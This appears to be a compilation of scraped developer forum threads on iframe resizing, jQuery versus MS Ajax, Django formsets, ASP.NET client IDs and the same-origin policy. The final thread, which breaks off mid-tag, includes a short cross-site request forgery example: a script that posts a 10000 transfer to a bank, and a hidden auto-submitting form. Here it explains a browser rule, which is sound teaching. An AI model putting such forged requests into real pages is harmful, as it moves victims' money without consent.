$frame.css('width', maxWidth);
// use maximum height to avoid vertical scrollbar (if possible)
var maxHeight = $contentDiv.dialog('option', 'maxHeight')
$frame.css('height', maxHeight);
$body.css('width', '');
// correct for vertical scrollbar (if necessary)
while (body.clientWidth < maxWidth) {
$frame.css('width', maxWidth + (maxWidth - body.clientWidth));
}
var minScrollWidth = body.scrollWidth;
var minHeight = Math.min(minScrollHeight, maxHeight);
// descrease frame height until scrollWidth decreases (wrapping)
while (Math.abs(maxHeight - minHeight) > 10) {
var height = minHeight + Math.ceil((maxHeight - minHeight) / 2);
$body.css('height', height);
if (body.scrollWidth < minScrollWidth) {
minHeight = height;
} else {
maxHeight = height;
}
}
$frame.css('height', maxHeight);
$body.css('height', '');
// reset widths to 'auto' where possible
$contentDiv.css('width', 'auto');
$contentDiv.css('height', 'auto');
$contentDiv.dialog('option', 'width', 'auto');
// re-position the dialog
$contentDiv.dialog('option', 'position', position);
// hide dialog
$contentDiv.dialog('close');
// restore show effect
$contentDiv.dialog('option', 'show', savedShow);
// open using show effect
$contentDiv.dialog('open');
// remove show effect for consecutive requests
$contentDiv.dialog('option', 'show', null);
return;
}
//An error is raised if the IFrame domain != its container's domain
catch (e) {
window.status = 'Error: ' + e.number + '; ' + e.description;
alert('Error: ' + e.number + '; ' + e.description);
}
};
Here's my solution to the problem using MooTools which works in Firefox 3.6, Safari 4.0.4 and Internet Explorer 7:
var iframe_container = $('iframe_container_id');
var iframe_style = {
height: 300,
width: '100%'
};
if (!Browser.Engine.trident) {
// IE has hasLayout issues if iframe display is none, so don't use the loading class
iframe_container.addClass('loading');
iframe_style.display = 'none';
}
this.iframe = new IFrame({
frameBorder: 0,
src: "http://www.youriframeurl.com/",
styles: iframe_style,
events: {
'load': function() {
var innerDoc = (this.contentDocument) ? this.contentDocument : this.contentWindow.document;
var h = this.measure(function(){
return innerDoc.body.scrollHeight;
});
this.setStyles({
height: h.toInt(),
display: 'block'
});
if (!Browser.Engine.trident) {
iframe_container.removeClass('loading');
}
}
}
}).inject(iframe_container);
Style the "loading" class to show an Ajax loading graphic in the middle of the iframe container. Then for browsers other than Internet Explorer, it will display the full height IFRAME once the loading of its content is complete and remove the loading graphic.
The trick is to acquire all the necessary iframe events from an external script. For instance, you have a script which creates the iFrame using document.createElement; in this same script you temporarily have access to the contents of the iFrame.
var dFrame = document.createElement("iframe");
dFrame.src = "http://www.example.com";
// Acquire onload and resize the iframe
dFrame.onload = function()
{
// Setting the content window's resize function tells us when we've changed the height of the internal document
// It also only needs to do what onload does, so just have it call onload
fobj.contentWindow.onresize = function() { dFrame.onload() };
dFrame.style.height = dFrame.contentWindow.document.body.scrollHeight + "px";
}
window.onresize = function() {
dFrame.onload();
}
This works because dFrame stays in scope in those functions, giving you access to the external iFrame element from within the scope of the frame, allowing you to see the actual document height and expand it as necessary. This example will work in firefox but nowhere else; I could give you the workarounds, but you can figure out the rest ;)
@SchizoDuckie's answer is very elegant and lightweight, but due to Webkit's lack of implementation for scrollHeight (see here), does not work on Webkit-based browsers (Safari, Chrome, various and sundry mobile platforms).
For this basic idea to work on Webkit along with Gecko and Trident browsers, one need only replace
<body onload='parent.resizeIframe(document.body.scrollHeight)'>
with
<body onload='parent.resizeIframe(document.body.offsetHeight)'>
So long as everything is on the same domain, this works quite well.
What parts of functionality will I lose after removing the
MicrosoftAjax.js
MicrosoftMvcAjax.js
files?
I don't want to use them for various reasons and I thought if there were any 3rd party helper methods that would mimic existing ones but are tied to another JavaScript framework, such as jQuery.
Also, please tell where usage of above javaScript files is preferrable/adviced.
Many thanks,
Valentin Vasiliev.
You won't be able to use the AjaxHelper extension methods (in the System.Web.Mvc.Ajax namespace) that are exposed by the Ajax property on the ViewPage class if you don't refer to the MicrosoftAjax scripts. They're relatively easy to replace by using the appropriate jQuery AJAX methods ($.post, $.get, $(selector).load etc) or the jQuery form plugin.
As for whether one or another is preferable or not it's down to how comfortable you are with writing your own implementation. The Ajax helper methods try to take care of a lot of things for you in terms of client script programming but that comes at a price of having to load in the pretty heavyweight MS AJAX library. Rolling your own javascript methods can lead to more lightweight code as well as providing you with a choice of javascript library to use (be it jQuery or one of the many others out there).
I agree. Just use jquery. Life is good with .net mvc 3.5 and jquery. cheers
You don't need those. Just remove them. Use JQuery instead.
Which and why is the best AJAX library for django?
Which one has the biggest database of tutorials, books and most detailed documentation?
Which one is the easiest to work with?
Which one is in early developing stage but may become the one?
Regards,
chriss
I highly recommend JQuery. There are several tutorials on how to implement it.
http://lethain.com/entry/2007/dec/11/two-faced-django-part-5-jquery-ajax/
http://lethain.com/entry/2007/dec/01/using-jquery-django-autocomplete-fields/
http://vincentxu.net/minimal-ajax-in-django-with-jquery-post
NOTE: Microsoft also announced a while ago that JQuery would be the official client-side framework for ASP.NET MVC, so its good to know regardless of what server side framework you're using.
I think this may be what you're looking for:
Pretty well documented. Simple api. Very clean and nice. I plan on using it more in some of my projects. It's JS library agnostic, and works well with jQuery if that's your thing.
There's nothing about Django that makes any of the libraries easier or work better with the framework. Just use the one that fits your brain the best.
Having said that, my sense is that jQuery is more popular in the Django world and is what I personally use. Most notably, many of the apps in Pinax require jQuery. Some other shared apps and code snippets for Django:
http://www.djangosnippets.org/tags/jquery/
http://code.google.com/p/django-ajax-validation/
http://code.google.com/p/django-todo/
http://code.google.com/p/donita/
Also keep in mind that the newest Django books (Python Web Development with Django, Learning Website Dev with Django) use jQuery in their tutorials.
I've successfully used jquery, YUI and Dojo on different django projects. There's nothing about any of those that made it better to use with django specifically. I agree with jpartogy that mochikit may fit django more than any other just because of the "pythonic" (twisted-like) API. It really depends on what you are looking for in an ajax framework.
Personally I like what jQuery can do with given amounts of code but the greatest challenge in writing jQuery code is making it readable.
YUI is much more verbose than other frameworks because it sets a convention for using namespaces, but there are shortcuts to write less code and it avoids trying to make javascript look like something else.
Dojo tries to make javascript look like Java and from my experience is pretty slow. It has some nice widgets and a javascript implementation of the django templating language (which is pretty useful even outside of django projects).
I personally avoid prototype and mootools because they can break other javascript code (or vice versa).
If you are new to javascript and ajax I'd recommend jQuery because it's the easiest to start with. But I don't expect any js framework to be integrated with django mostly because there's really no need for that.
Checkout Dajax:
Dajax Project
Easy to use AJAX libraries for Django
Fast, easy and lightweight libraries to implement AJAX inside your django projects. Ready to use in 5 minutes.
Dajax is a powerful tool to easily and super-fastly develop asynchronous presentation logic in web applications using python and almost no lines of JS source code.
It supports up to four of the most popular JS frameworks: Prototype, jQuery, Dojo and mootols.
+1 to Soviut and Daniel for good answers. Jquery is a nice framework. Besides Pinax a couple other "big" Django applications use it: Satchmo and Review Board (which switched from another framework... mootools IIRC).
Also popular is rolling your own Javascript without using any framework, for example the Django admin.
The only other suggestion I might make is that, if you are a very experienced Pythonhead, then you might like mochikit which comes under some criticism for being too 'pythonic'. It seems to be the framework of choice for Turbogears but I personally haven't seen any Django projects using it.
Okay this might be subjective because the definition of 'best' can mean different to each individual. But since you are working with Django, that means you will get your hands down with Python syntax. One notable Javascript library that doesn't get exposed too much is Mochikit. The good thing about it is it has syntax that is familiar to Python programmer (because the creator is a Python programmer). It has quite nicely written down documentation as well. TurboGears out-of-the-box supports Mochikit.
Django doesn't really tie in with the client side. Use whatever you're comfortable with. Django plays well with everything in that area, because you just write it in the templates.
The phrase "Best AJAX Library" is highly subjective and depends on personal preferences, existing know how, requirements of the work etc. etc.
While I prefer jQuery for (almost) everything, I know some people whio swear by Dojo or ExtJS. There might be case where you want to use jQuery but requirements might be dictate that you use ExtJS.
All said. Use jQuery. jQuery rocks ;)
I'd like to be able to automatically add new forms to a Django formset with an ajax function. I.e., the user clicks an "add" button and some javascript will add a new form (which is part of the formset) to the page.
Thanks for the help in advance. :-)
This is how I do it, using jQuery:
My template:
<h3>My Services</h3>
{{ serviceFormset.management_form }}
{% for form in serviceFormset.forms %}
<div class='table'>
<table class='no_error'>
{{ form.as_table }}
</table>
</div>
{% endfor %}
<input type="button" value="Add More" id="add_more">
<script>
$('#add_more').click(function() {
cloneMore('div.table:last', 'service');
});
</script>
In a javascript file:
function cloneMore(selector, type) {
var newElement = $(selector).clone(true);
var total = $('#id_' + type + '-TOTAL_FORMS').val();
newElement.find(':input').each(function() {
var name = $(this).attr('name').replace('-' + (total-1) + '-','-' + total + '-');
var id = 'id_' + name;
$(this).attr({'name': name, 'id': id}).val('').removeAttr('checked');
});
newElement.find('label').each(function() {
var newFor = $(this).attr('for').replace('-' + (total-1) + '-','-' + total + '-');
$(this).attr('for', newFor);
});
total++;
$('#id_' + type + '-TOTAL_FORMS').val(total);
$(selector).after(newElement);
}
What it does:
cloneMore accepts selector as the first argument, and the type of formset as the 2nd one. What the selector should do is pass it what it should duplicate. In this case, I pass it div.table:last so that jQuery looks for the last table with a class of table. The :last part of it is important because the selector is also used to determine what the new form will be inserted after. More than likely you'd want it at the end of the rest of the forms. The type argument is so that we can update the management_form field, notably TOTAL_FORMS, as well as the actual form fields. If you have a formset full of, say, Client models, the management fields will have IDs of id_clients-TOTAL_FORMS and id_clients-INITIAL_FORMS, while the form fields will be in a format of id_clients-N-fieldname with N being the form number, starting with 0. So with the type argument the cloneMore function looks at how many forms there currently are, and goes through every input and label inside the new form replacing all the field names/ids from something like id_clients-(N)-name to id_clients-(N+1)-name and so on. After it is finished, it updates the TOTAL_FORMS field to reflect the new form and adds it to the end of the set.
This function is particularly helpful to me because the way it is setup it allows me to use it throughout the app when I want to provide more forms in a formset, and doesn't make me need to have a hidden "template" form to duplicate as long as I pass it the formset name and the format in which the forms are laid out. Hope it helps.
Paolo's suggestion works beautifully with one caveat - the browser's back/forward buttons.
The dynamic elements created with Paolo's script will not be rendered if the user returns to the formset using the back/forward button. An issue that may be a deal breaker for some.
Example:
1) User adds two new forms to the formset using the "add-more" button
2) User populates the forms and submits the formset
3) User clicks the back button in the browser
4) Formset is now reduced to the original form, all dynamically added forms are not there
This is not a defect with Paolo's script at all; but a fact of life with dom manipulation and browser's cache.
I suppose one could store the values of the form in the session and have some ajax magic when the formset loads to create the elements again and reload the values from the session; but depending on how anal you want to be about the same user and multiple instances of the form this may become very complicated.
Anyone has a good suggestion for dealing with this?
Thanks!
I've posted a snippet from an app I worked on a while back. Similar to Paolo's, but also allows you delete forms.
Simulate and imitate:
<input> fields.<input> fields changed.While I do know formsets use special hidden <input> fields and know approximately what the script must do, I don't recall the details off the top of my head. What I described above is what I would do in your situation.
One option would be to create a formset with every possible form, but initially set the unrequired forms to hidden - ie, display: none;. When it's necessary to display a form, set it's css display to block or whatever is appropriate.
Without know more details of what your "Ajax" is doing, it's hard to give a more detailed response.
put http://dpaste.com/hold/17376/ to django/contrib/admin/media/js/admin/AddInline.js
download jquery (jquery.com, version 1.3.6) and put it to django/contrib/admin/media/js/jquery.js
and then just add
class Media:
js = ('/media/js/jquery.js', '/media/js/admin/AddInline.js', )
to your ModelAdmin definition for your model.
All inlines in your form will get magic 'Add another' link at the bottom.
There is a small issue with the cloneMore function. Since it's also cleaning the value of the django auto-generated hidden fields, it causes django to complain if you try to save a formset with more than one empty form.
Here is a fix:
function cloneMore(selector, type) {
var newElement = $(selector).clone(true);
var total = $('#id_' + type + '-TOTAL_FORMS').val();
newElement.find(':input').each(function() {
var name = $(this).attr('name').replace('-' + (total-1) + '-','-' + total + '-');
var id = 'id_' + name;
if ($(this).attr('type') != 'hidden') {
$(this).val('');
}
$(this).attr({'name': name, 'id': id}).removeAttr('checked');
});
newElement.find('label').each(function() {
var newFor = $(this).attr('for').replace('-' + (total-1) + '-','-' + total + '-');
$(this).attr('for', newFor);
});
total++;
$('#id_' + type + '-TOTAL_FORMS').val(total);
$(selector).after(newElement);
}
Another cloneMore version, which allows for selective sanitization of fields. Use it when you need to prevent several fields from being erased.
$('table tr.add-row a').click(function() {
toSanitize = new Array('id', 'product', 'price', 'type', 'valid_from', 'valid_until');
cloneMore('div.formtable table tr.form-row:last', 'form', toSanitize);
});
function cloneMore(selector, type, sanitize) {
var newElement = $(selector).clone(true);
var total = $('#id_' + type + '-TOTAL_FORMS').val();
newElement.find(':input').each(function() {
var namePure = $(this).attr('name').replace(type + '-' + (total-1) + '-', '');
var name = $(this).attr('name').replace('-' + (total-1) + '-','-' + total + '-');
var id = 'id_' + name;
$(this).attr({'name': name, 'id': id}).removeAttr('checked');
if ($.inArray(namePure, sanitize) != -1) {
$(this).val('');
}
});
newElement.find('label').each(function() {
var newFor = $(this).attr('for').replace('-' + (total-1) + '-','-' + total + '-');
$(this).attr('for', newFor);
});
total++;
$('#id_' + type + '-TOTAL_FORMS').val(total);
$(selector).after(newElement);
}
@Paolo Bergantino
to clone all the handlers attached just modify the line
var newElement = $(selector).clone();
for
var newElement = $(selector).clone(true);
to prevent this problem.
I think this is a much better solution.
How would you make a dynamic formset in Django?
Does things clone doesn't:
Simplified version of Paolo's answer using "empty_form" as a template.
<h3>My Services</h3>
{{ serviceFormset.management_form }}
<div id="form_set">
{% for form in serviceFormset.forms %}
<table class='no_error'>
{{ form.as_table }}
</table>
{% endfor %}
</div>
<input type="button" value="Add More" id="add_more">
<div id="empty_form" style="display:none">
<table class='no_error'>
{{ serviceFormset.empty_form.as_table }}
</table>
</div>
<script>
$('#add_more').click(function() {
var form_idx = $('#id_form-TOTAL_FORMS').val();
$('#form_set').append($('#empty_form').html().replace(/__prefix__/g, form_idx));
$('#id_form-TOTAL_FORMS').val(parseInt(form_idx) + 1);
});
</script>
Check out the following solutions to dynamic django forms:
http://code.google.com/p/django-dynamic-formset/
https://github.com/javisantana/django-dinamyc-form/tree/master/frm
They both make use of jQuery and are django-specific. The first seems a bit more polished and offers a download that comes w/demos which are excellent.
Perhaps I'm just unaware of the competitors, but it seems when it comes to client-side scripting in the browser and DOM, Javascript is it. I know there's VBScript, but it really isn't even in the same ballpark as JS (not even cross platform, for starters).
I'm just curious about how this came to be. Surely there would be a general desire for a new language to replace Javascript: built from scratch to do all the things Javascript has been bent and moulded into these days (look at the reliance on JS Libraries).
Momentum. JavaScript has been around for 15 or so years, and browser manufacturers have worked for 15 or so years to make it work in their browsers.
If a competitor came along, it would need to really bring something new to the table in order to convince everyone to a) adopt it, b) live with locking out all the users of older browsers like IE7, Firefox 3.0, Chrome 1.0 etc. and c) find replacements for all existing libraries like jQuery, prototype, extJS etc.
In short: we don't need another Standard, let's rather improve JavaScript and build on the rich foundation that already exists instead of starting back from stone age again.
JavaScript won because it was introduced by Netscape in the period when they had above 90% percent market share. IE and other browsers had no choice but to support it also.
If a new language should be introduced, it would have to be either by agreement between all major browser vendors, or in a period where a single browser have enough market share to push it through.
Microsoft could probably have pulled it off some years ago when IE has an extremely large market share (before the rise of Firefox and Safari), but they chose instead (for strategic reasons) to let the browser stagnate.
Today, a new language would require agreement between at least Mozilla, IE and Safari to gain traction, and I think that is highly unlikely. The browser vendors have invested a lot of ressources in optimization, compatibility testing and so on for JavaScript - why should they want to start from scratch with a totally new language - and have to support two languages in parallel for decades to come? The cost greatly outweights any benefits.
Anyway, it is quite unrealistic to believe that a new language designed from scratch could be significantly better than JavaScript.
Show me another language that isn't reliant on libraries?
C, C++, C#, VBs, ... all rely on libraries. The only difference is that they often come with a standard set of libraries.
So do we really want is a standard set of libraries? What we're currently getting is a range of library sets (JQuery, prototype, extjs, mootools, etc). This is a good thing since we the developers get to choose one that suits our needs. In addition these libraries can be included and evolved without changes to the client-side component.
I can think of no compelling language feature missing from Javascript. By compelling I mean so earth shatteringly important that I'd be willing to alienate those browsers that do not support it.
There is! Ones that spring to mind are Flash, ActiveX, and Java... but these all have their drawbacks.. Mainly security and integration with the browser/DOM.
Flash and Java live in their own little world, by design (and to address security issues). They can't alter the HTML around them. ActiveX has access to the DOM, but also everything else on your computer..
Javascript seems to have found a nice balance between flexibility and security, it can trivially interact and alter the pages HTML/CSS, do "safe" networking, has a decent standard library (which has things like JSON, XmlHttpRequest'sih networking, DOM manipulation and so on). Most importantly, it's available in basically all vaguely-modern browsers, on all platforms, in a consistent manner (compared to CSS)
There are problems with Javascript, but nothing major.. The biggest is the performance.. Load a comment page on digg and watch your CPU usage.. Chance are it will be 100% of one CPU core.. There are projects to improve this, like SquirrelFish, TraceMonkey and other strangely named things.. but the performance is adequate to do some extremely impressive things (Google Spreadsheet, for example).
Basically, Javascript is great, and it's drawbacks aren't nearly as big as the other competitors..
If a good competitor had arrived before 1999 (ECMAScript 3), it would probably be a tie between those two.
There are other languages for client side scripting, but AFAIK, none are integrated into a browser.
Both Flash and Silverlight have their own Languages. Flash has ActionScript, while Silverlight has many and all that work under the DLR including Python and Ruby.
To your second point as to why, more specifically you mention reliance on JS libraries as a flaw in the language; Libraries are popular, not because the language if broken, but because the standard API is broken. The existence of such great libs builds on the power of the language.
There is nothing particularly wrong with JavaScript, it has some features that up to very recently would have been esoteric or academic. First class functions for example.
Also, ubiquity / mass existing runtime deployment is a very compelling feature. ;)
I recommend you to view Douglas Crockford?s presentation about ?The JavaScript Programming Language? to learn about the history of JavaScript.
I think Javascript (ECMAScript) with its C like syntax is so popular for some of the reasons C is:
Creating a new language that will provide many of the current libraries "built-in" is always risky as it starts to limit future applicability of the language and makes learning the base language harder.
This would be even more problematic for a client side browser language because the language designers can't possibly know how the language may be used in the future.
I think Javascript the language is fine in its current role as the "glue" that links so many other client sode technologies.
There are no other competitors because while Javascript is not perfect, it does the job.
I guess because the demand for it would have to be huge for browsers to implement it.
After all, it's the browsers that process and run the JavaScript and you'd have to have a large amount of sites using the language in order to make the browsers interested in implementing it. Then again no-one would use it if there was no browser support in the first place.
i'd say that this is because client side web development is still a very young branch of programming. if you look at it only now it has become more widespread since we moved to faster "intertubes" :) and we're not using modems anymore.
and the problem for clent based web development is that it's not up to the developer what platform he'll use but it depends on the browser manufacturers. and they change slow.
VB script's demise was in my opinion its VB-innes. too much unnecessary stuff. As for javascript it will mature, but it's a start.
Browser support. If its not an MS tech the it most likely will not go into IE. If it's not in IE then no one can use it. If it is an MS tech, then most likely only IE will have the right to use it as it will be closed source and proprietary. If only IE supports it then only some developers will use it.
To challenge JavaScript it must work just as easily and more consistently across all of the major web browsers. Without browser support any new client side web tech is destined to fail.
I think it has to do with standardization, because durring the last browser-war (ie v. netscape) there were two, Netscape's ECMA (+1 Geek point for you if you knew this was the real name for JavaScript) and Microsoft's JScript, obviously ECMA (JavaScript) won out and became the defacto standard.
Now, we have another browser-war in progress and each of the 2 (3 if you count Chrome 12% FFS) major competitors 3 fully (with a few edge-cases) support JavaScript.
My guess is that its ubiquity and ease of integration in any new user agent project. It comes built into almost all browsers so you dont have to download/install/configure anything to have it running. once you look at user agents off desktops (wii, iphone, windows mobile, n95 etc) the availability of any of the contendes dries up quick - so you code for html and javascript becuase it will work most of the time.
I agree with Michael, we should improve Javascript, not worry about competitors because there aren't going to be any, in fact even Javascript 2.0 seems so far from reaching reality.
Since Javascript is such an ambiguous language, we're able to create libraries (jQuery) and even abstractions (Objective-J) and not worry about all the problems that Javascript has at its heart.
After so many years we don't even have CSS implemented same in all the browser, same goes for the JavaScript, IE has one model and rest of browsers has another Model (I mean like Event Handlers and attaching events).
If new competitor comes, it has no chance, neither it has so much time as css and javascript had.
View > Source
Now that RC1 is out I need to decide once and for all whether to use MS Ajax libraries or just jQuery for AJAX requests. The application is a new application. Essentially the way I'll decide is whether or not i get any significant benefit from the Microsoft libraries that I wouldn't get from jQuery. I already HAVE jQuery loading and I am concerned about the extra overhead of file size more than anything.
As far as I'm aware -- the only benefit really is that there are helpers like Ajax.BeginForm, but perhaps these will work with jQuery at some point anyway? I was also told today by a government employee friend of mine that MS Ajax library has a LOT of bugs in it - which concerns me.
With Microsoft now having officially befriended jQuery I wouldn't be too worried about them doing anything in future to leave jQuery in the dust by enhancing their own libraries.
I really don't know a whole lot about exactly what MS Ajax actually does for me. Are there certain pros and cons. Or is it just 90% bloat to support 'update panel' ?
I also find it very interesting that the ASP.NET MVC in Action book just skips over the MS Ajax libraries and jumps straight into jQuery :
In this chapter the reader will examine how the ajax technique is applied to ASP.NET MVC in a more seamless way than with Web Forms. The reader will see how to leverage an increasingly popular, lightweight javascript library called jQuery.
(from free sample chapter on AJAX)
Would very much appreciate hearing from anyone about their experiences workin with both, expecially on the following additional questions :
Ajax.BeginForm(...) and use jQuery ?Personally, I would stick with JQuery. MS AJAX is pretty heavyweight in terms of size and you can do so much with JQuery. As far as whether it is easy to convert code, well it depends on how much of the MS AJAX stuff you are using. I don't think there is really much appreciable difference in debugging from one to the other. You will have a larger community of JQuery users from which to pull resources.
You can (and I do) use both depending on the need. When I want a particular form to be non-javascript friendly AND I'm generating content on the server, I'll use MS AJAX via the AjaxHelper. It builds everything I need on the client side to handle the non-javascript enabled browser. I only need to detect AJAX/non-AJAX in the controller and return a partial or a full view depending. If I need to use AJAX as part of a plugin (say autocomplete), then I'll use jQuery. The point is I use the tool that best suited (easiest to implement) for me. Granted, most of my apps run on an intranet so I'm much less concerned about the size of the downloads.
I also found the jQuery announcement about MS incorporating the library
Apparently :
Additionally Microsoft will be developing additional controls, or widgets, to run on top of jQuery that will be easily deployable within your .NET applications. jQuery helpers will also be included in the server-side portion of .NET development (in addition to the existing helpers) providing complementary functions to existing ASP.NET AJAX capabilities.
So I'm thinking its quite probable that they'll end up having jQuery helpers that exactly mirror the AJAX helpers for the MS stuff.
I guess solution I'll take is to use Html.BeginForm, and then intercept the submit button to use jQuery. I'm not especially worried about people without javascript losing functionality, but its not that much harder to do so I may as well.
JQuery is much easier to code than Ajax allot of the problems with overhead can be remedied by adding more memory rather than by stream lining code. Ajax just does not make any sense to me although I'm just a beginner at it. After dealing with the overly criptic Ajax syntax, jQuery is like a breath of freash air.
I have this label control in my web page
<asp:Label ID="Label1" runat="server" Text="test"></asp:Label>
And when the page rendered the id of the control changes to something like this
<span id="ctl00_ContentPlaceHolder1_Label3">test</span>
How can I stop asp.net from changing IDs in order to perform a jQuery operation like this
$('#label1').html(xml);
instead of using this selector
$('#Label1')
use this one, basically you are using the classic asp inline server side code.
$('#<%= Label1.ClientID %>')
this will insert whatever ID that is generated to be placed as a literal.
If you wish to use external files then I would suggest you create an obj that is global on the page to hold all of your client ids and then reference that obj within your external files (not ideal but it is a solution)
var MyClientIDs = {
Label1 = '<%= Label1.ClientID %>',
Label2 = '<%= Label2.ClientID %>',
Textbox1 = '<%= Textbox1.ClientID %>',
Textbox2 = '<%= Textbox1.ClientID %>'
};
and then in your external file you can access Label1 for example: $('#' + MyClientIDs.Label1)
You can't stop asp.net from generating those IDs. That's just how it does things.
You can still use jquery like so:
$('#<%=label1.ClientID %>').html(xml)
or
$('[id$=_label1]').html(xml)
If and only if you're container layout is never going to change and you require to put your JavaSctipt/jQuery in an external file, you could use the generated ids within your jQuery selectors i.e.
$('#ctl00_ContentPlaceHolder1_Label3').html(xml);
Obviously, this approach requires you to find out what the generated ids will be and requires caution if you ever start changing the site/application construction.
Otherwise, your best options are
1. Use the inline server side code markup. The downside to this approach is that you cannot put your js code in an external file -
$('#<%= Label3.ClientID %>').html(xml);
2. Define unique CSS classes on each control you need to use in your jQuery, which would still allow you to put your js code in an external file -
<asp:Label ID="Label3" runat="server" Text="test" CssClass="label3">
</asp:Label>
$('.label3').html(xml);
3. Use jQuery selectors to pattern match the original id, which again, would allow you to put your js code in an external file -
$('[id$=Label3]').html(xml);
This jQuery selector will select all elements with attribute id whose value ends with Label3. The only potential downside that I could see with this approach is that in theory, it could be possible to have a Label control with id Label3 in say, a Master page and also in two content pages. In this example, using the jQuery selector above would match all three labels, which may have unwanted consequences.
EDIT:
I thought it might be useful to raise your attention to the IDOverride control. An Example page can be found here
It allows you to specify which controls should have their mangled id within the outputted HTML markup overridden with the id as is given in the .aspx file when rendering out the HTML page. I have only played with it briefly with a single Master Page and Panels, but it appears to work well. Using this, you could use the original ids within your jQuery selectors. Be aware however, that the results are unpredictable if you were to have controls with the same ids in your Master page(s) and Content page(s) that are combined to render the HTML for one page.
The inline code is the correct way to do it. However this will be changing in ASP.NET 4.0. We have spent some time adding a feature that allows full control of the IDs that are generated client side. Below are some resources on the web about this feature.
Short answer, don't worry about using the asp.net IDs. In asp.net you can add your own attribute to a tag:
<asp:TexBox ID="myTBox" runat="server" MyCustomAttr="foo" />
Then in jquery you can refer to this element via:
$("input[MyCustomAttr='foo']")
I do this all the time with jQuery. Hope it helps.
Most of the suggestions here will work, but test results on jQuery code show that pure ID selectors are by far the fastest. The one I use most often:
$("[id$=origControlId]")
is pretty slow, but the problem isn't too apparent unless the page has many controls and a lot of jQuery.
Since is it fairly painless to assign multiple classes to a control, you could give each one a CSSClass that matches the ID. Since they would then be unique (you'll have to watch repeater type controls that generate multiple controls), you could select by class.
For example:
<asp:Label ID="Label1" CssClass="Label1 SomeOtherClass" runat="server" Text="test">
</asp:Label>
could be selected uniquely by:
$(".Label1")
Which is almost as fast as an ID select.
I had never considered this one:
$('#<%= Label1.ClientID %>')
but I'm going to try it!
You have to pass the control's ClientID to the javascript code (I doubt though that Label1 gets renamed to Label3)
ClientScriptManager.RegisterClientScriptBlock(GetType(), "someKey",
"$('#" + Label1.ClientID + "').html(xml);", true);
You can use the ClientID (just like everyone else said) but the problem with that is that it cannot be used in an external JavaScript File.
So, ideally, instead of using the ID to reference it from jQuery, use a CSS class:
<asp:Label ID="Label1" runat="server" Text="test" CssClass="myclass"></asp:Label>
Then you can reference it like such:
$(".myclass")
You can override the ClientID and the UniqueID as this fella did.
/// <summary>
/// Override to force simple IDs all around
/// </summary>
public override string UniqueID
{
get
{
return this.ID;
}
}
/// <summary>
/// Override to force simple IDs all around
/// </summary>
public override string ClientID
{
get
{
return this.ID;
}
}
You may also create a custom control that inherits from Label that overrides the ID property to be what you want it to be.
This can be achieved by replacing the asp.net id with the original id as the control is rendered. This is pretty easy and can be donw by creating a set of custom controls.
Other answers have already shown various work-arounds for the fact that ASP.Net annoyingly insists on creating its own client IDs. Though it doesn't help with your immediate issue I recently read that this will be one of the features in ASP.Net 4.0 later this year. Thought you may be interested.
you don't need to "prevent" asp.net from changing the control id in order to use jquery, or javascript at all for that matter.
the id that gets rendered on your page is the ClientID property of the control and what you're setting on the control itself is the ID. you can't set the ClientID property, it's generated for you and may or may not be the same as your ID. however, as others have mentioned you can use the ClientID property either in your aspx:
$('<%= Label1.ClientID %>').html()
or by registering the client script in your code behind file using one of the ClientScriptManager methods.
Just get rid of the placeholder. Or select by class or DOM hierarchy. Or even use partial matching on the ID as a last resort. There are many easy, clean ways to select an element in jQuery, we need to wean ourselves away from our old, ugly ASP.NET habits.
And Dreas Grech put the final nail in the coffin. You can't use use external script files with the $('#<%=label1.ClientID %>') type solutions.
Mike
At the risk of being patently obvious change:
<asp:Label ID="Label1" runat="server" Text="test"></asp:Label>
to
<Label ID="Label1" Text="test"></Label>
I have recently been working with someone on a project that is very ajax intense. All calls are made to web services using ajax and the data logic is handled on the client side. The server side code just acts as the DAL and does little else. How much javascript is too much?
Javascript may be too much when it reveals too much to the client, so I would look from the security perspective. From the performance perspective in general using Javascript is better.
It really depends on your needs and the user's expectations. My only suggestion is to think of the places you are doing AJAX when the user instead really expects to navigate a new page. Those are the cases where you are doing "too much".
Remember, the user spends 99% percent of his time using other sites, not yours. Make sure your site does what he/she expects from the rest of the web as well as from using computers in general.
By the way, usability testing can be used to figure out "what the user really expects" in any area. Your judgments as a designer are likely completely different than typical users'; see also http://www.useit.com/alertbox/20000319.html.
If the resultant application is intuitive and useful to the user, then you cannot say that it has used too much of one technology or another.
Delivering great user experience is what our main goal as software developers should be. The technology we use to do that is just an enabler.
We have only used too much of/the wrong technology if:
The question is rather, does the application still provide necessary features like bookmarkability and honoring the users browsing history?
If the user cannot bookmark a specific page/state, that should be bookmarkable, that'S a warning sign.
Also not being able to sensibly use the Back button can cause grief.
I don't mind javascript being used as long as it doesn't expose sensitive information, or open security vulnerabilities.
I would say that for any technique, if you are ignoring a more straightforward method of solving a problem in favour of doing everything 'the same way', there's a good chance you're over doing it. An easy way to prove this is to take some extra time to write a proof of concept feature not using the method in question and keep track of how long it takes you, etc. If you can accomplish the same thing with your proof of concept and deliver a suitable experience to the user, then the development strategy may need to change.
I'd like to point to a previous question/answer:
Too much of anything is:
When you can't read the code
When the user doesn't get/need/like/etc the UI
When you are killing whatever server side/client side resources you need
This really depends on what the project is for.
Who are the users? Is this only an internal thing or will it be open to the world? Are they expecting a regular web style interface? Will that get in the way of there usability of the sight?
How secure does it need to be? Using javascript opens a lot of your app to the users which can be a security concern.
Can the typical users machine handle that much javascript (older machines can be almost useless with a lot of javascript)?
There are a lot of questions that need to be answered before you can decide how much javascript is too much.
In the end it will most likely end up being decided by tests and user feedback.
It depends on a number of factors:
Once you've got an answer to those questions, I think it is easy to determine wheter you've crossed a line somewhere or not. Besides this, from a performance point of view, distributing the processor load to the client is always a good thing. Enforcing client-side business logic is also fine, but make sure you double-check on the server.
Hope this helps.
Why was it decided that using XMLHTTPRequest to do XML calls cannot do a call across the domain boundary? You can pull down Javascript, images, CSS, iframes, and just about any other content I can think of from other domains. Why are Ajax HTTP Requests not allowed to cross domain boundaries. It seems like an odd limitation to put, considering the only way I could see it being abused, would be if someone were to inject Javascript into the page. However, in this case, you could simply add an img, script, or iframe element to the document to get it to request the third party URL and send it to the server.
[Edit]
Some of the answers point out the following reasons, let's point out the reasons they don't create a major reason to disallow this.
Your can do XSRF attacks without using this at all. As a general rule, XMLHTTPRequest isn't used at all, simply because it's so hard to make an XMLHTTPRequest in a way that's compatible with all major browsers. It's much easier to just add an img tag to the URL if you want them to load your URL.
<script type="text/javascript">
$.post("http://some-bank.com/transfer-money.php",
{ amount: "10000", to_account: "xxxx" })
</script>
Could be accomplished with
<body onload="document.getElementById('InvisbleForm').submit()"
<div style="display:none">
